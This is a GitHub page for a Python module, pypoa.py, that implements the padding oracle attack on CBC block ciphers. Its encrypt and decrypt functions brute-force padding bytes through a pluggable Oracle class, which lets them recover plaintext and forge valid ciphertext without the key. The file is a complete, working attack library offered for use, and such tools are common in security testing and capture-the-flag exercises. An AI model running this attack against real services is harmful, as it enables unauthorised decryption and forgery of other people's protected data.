-
Notifications
You must be signed in to change notification settings - Fork 0
/
pypoa.py
248 lines (205 loc) · 9.65 KB
/
pypoa.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
"""
A module for performing the Padding Oracle Attack.
"""
import binascii
def encrypt(plaintext, block_size, oracle, verbose=True):
"""
Encrypts the plaintext using the oracle.
Parameters:
plaintext (str): The unpadded plaintext to encrypt.
block_size (int): The block size of the cipher.
oracle (Oracle): The oracle subclass for validating the padding.
verbose (bool): Verbose progress.
Returns:
str: The ciphertext.
Raises:
PaddingDeterminationError: If the oracle rejects all bytes.
"""
plaintext = pad(plaintext, block_size)
blocks = __get_blocks(plaintext, block_size)
ciphertext = ""
for i in reversed(range(len(blocks))):
if i == len(blocks) - 1:
next_block_ciphertext = "{:02x}".format(90) * block_size
ciphertext = next_block_ciphertext
else:
next_block_ciphertext = ciphertext[:block_size*2]
__print("Encrypting block %d of %d\n" % (i + 1, len(blocks)), verbose)
block_ciphertext = ""
intermediary_bytes = []
for b in reversed(range(block_size)):
payload = ""
payload_ending = ""
for p in range(block_size - 1 - len(intermediary_bytes)):
payload += "{:02x}".format(0)
for p in range(len(intermediary_bytes)):
payload_ending += "{:02x}".format(intermediary_bytes[p] ^ (block_size - b))
payload_ending += next_block_ciphertext
padding_found = False
for byte in range(256):
final_payload = payload
final_payload += "{:02x}".format(byte)
final_payload += payload_ending
if oracle.validate(final_payload):
intermediary_bytes.insert(0, byte ^ (block_size - b))
padding_found = True
__print("[+] Valid padding found using byte <%d> (%d of %d)" % (byte, block_size - b, block_size), verbose)
break
if not padding_found:
raise PaddingDeterminationError("Could not determine padding. Please check your oracle implementation.")
block_ciphertext = "{:02x}".format(intermediary_bytes[0] ^ blocks[i][b]) + block_ciphertext
__print("\nBlock results:", verbose)
__print("[#] Ciphertext: %s" % block_ciphertext, verbose)
__print("[#] Intermediary bytes: %s" % "".join("{:02x}".format(x) for x in intermediary_bytes), verbose)
__print("[#] Plaintext: %s" % "".join(chr(x) for x in blocks[i]), verbose)
__print("----------------------------------------------------", verbose)
ciphertext = block_ciphertext + ciphertext
__print("Final results:", verbose)
__print("[#] Ciphertext: %s" % ciphertext, verbose)
return ciphertext
def decrypt(ciphertext, block_size, oracle, IV=None, verbose=True):
"""
Decrypts the ciphertext to ASCII using the oracle.
Parameters:
ciphertext (str): The ciphertext to decrypt.
block_size (int): The block size of the cipher.
oracle (Oracle): The oracle subclass for validating the padding.
IV (str): The initialization vector of the first block of the ciphertext. Alternatively the IV can be appended directly to the ciphertext.
It is not possible to decrypt the first block of the encrypted plaintext without knowing the IV.
verbose (bool): Verbose progress.
Returns:
str: The plaintext.
Raises:
InvalidBlockSizeError: If the block size does not match the ciphertext.
PaddingDeterminationError: If the oracle rejects all bytes.
"""
if IV != None:
if len(IV) != block_size * 2:
raise InvalidBlockSizeError("Initialization vector does not match with the block size.")
ciphertext = IV + ciphertext
if len(ciphertext) <= block_size * 2:
raise ValueError("No initialization vector specified. Either prepend the IV to the ciphertext or use the IV argument.")
blocks = __get_cipher_blocks(ciphertext, block_size)
plaintext = ""
for i in range(len(blocks) - 1):
intermediary_bytes = []
block_plaintext = ""
__print("Decrypting block %d of %d\n" % (i + 1, len(blocks) - 1), verbose)
for b in reversed(range(block_size)):
payload = ""
payload_ending = ""
for p in range(block_size - 1 - len(intermediary_bytes)):
payload += "{:02x}".format(0)
for p in range(len(intermediary_bytes)):
payload_ending += "{:02x}".format(intermediary_bytes[p] ^ (block_size - b))
payload_ending += "".join("{:02x}".format(x) for x in blocks[i + 1])
padding_found = False
for byte in range(256):
final_payload = payload
final_payload += "{:02x}".format(byte)
final_payload += payload_ending
if oracle.validate(final_payload):
intermediary_bytes.insert(0, byte ^ (block_size - b))
padding_found = True
__print("[+] Valid padding found using byte <%d> (%d of %d)" % (byte, block_size - b, block_size), verbose)
break
if not padding_found:
raise PaddingDeterminationError("Could not determine padding. Please check your oracle implementation.")
block_plaintext = chr(intermediary_bytes[0] ^ blocks[i][b]) + block_plaintext
__print("\nBlock results:", verbose)
__print("[#] Ciphertext: %s" % "".join("{:02x}".format(x) for x in blocks[i + 1]), verbose)
__print("[#] Intermediary bytes: %s" % "".join("{:02x}".format(x) for x in intermediary_bytes), verbose)
__print("[#] Plaintext: %s" % block_plaintext, verbose)
__print("----------------------------------------------------", verbose)
plaintext += block_plaintext
__print("Final results:", verbose)
__print("[#] Plaintext (ASCII): %s" % plaintext, verbose)
__print("[#] Plaintext (HEX): %s" % binascii.hexlify(plaintext.encode("ascii")).decode("ascii"), verbose)
return plaintext
def pad(text, block_size):
"""
Adds PKCS7 padding to the text based on the block size.
Args:
text (str): The text to be padded.
block_size (int): The block size of the cipher.
Returns:
str: The padded text.
Raises:
ValueError: If the block size is not greater than 0.
"""
if block_size < 0:
raise ValueError("block_size must be greater than 0.")
return text + (block_size - len(text) % block_size) * chr(block_size - len(text) % block_size)
def unpad(text):
"""
Removes PKCS7 padding from the text.
Args:
text (str): The text to be unpadded.
Returns:
str: The unpadded text.
"""
return text[:-ord(text[-1])]
def __get_cipher_blocks(ciphertext, block_size):
"""
Converts the ciphertext to a multidimensional list containing all block bytes as decimals.
Args:
ciphertext (str): The ciphertext to convert.
block_size (int): The block size of the cipher.
Returns:
list: A multidimensional list containing all block bytes as decimals.
Raises:
InvalidBlockSizeError: If the block size does not match the text.
"""
if len(ciphertext) % (block_size * 2) != 0:
raise InvalidBlockSizeError("Invalid block size for ciphertext specified.")
blocks = []
for i in range(0, len(ciphertext), block_size * 2):
values = []
for z in range(i, i + block_size * 2 , 2):
values.append(int(ciphertext[z:z+2], 16))
blocks.append(values)
return blocks
def __get_blocks(plaintext, block_size):
"""
Converts the plaintext to a multidimensional list containing all block bytes as decimals.
Args:
plaintext (str): The plaintext to convert.
block_size (int): The block size of the cipher.
Returns:
list: A multidimensional list containing all block bytes as decimals.
Raises:
InvalidBlockSizeError: If the block size does not match the text.
"""
if len(plaintext) % block_size != 0:
raise InvalidBlockSizeError("Invalid block size for plaintext specified. Did you not pad the plaintext?")
blocks = []
for i in range(0, len(plaintext), block_size):
values = []
for z in range(i, i + block_size ):
values.append(ord(plaintext[z:z+1]))
blocks.append(values)
return blocks
def __print(msg, verbose):
# Helper function that prints msg if verbose is true to avoid tons of if statements.
if not verbose:
return
print(msg, flush=True)
class Oracle:
"""
An abstract class for the oracle implementation.
"""
def validate(self, payload):
"""
Abstract method to validate the padding using the crafted payload.
Args:
payload (str): The crafted payload to be sent to the oracle.
Returns:
bool: True if the oracle accepts the padding. False if the oracle returns an invalid padding error message.
Raises:
NotImplementedError: If the subclass does not override this method.
"""
raise NotImplementedError('Classes inheriting from Oracle must override validate() method.')
class InvalidBlockSizeError(Exception):
pass
class PaddingDeterminationError(Exception):
pass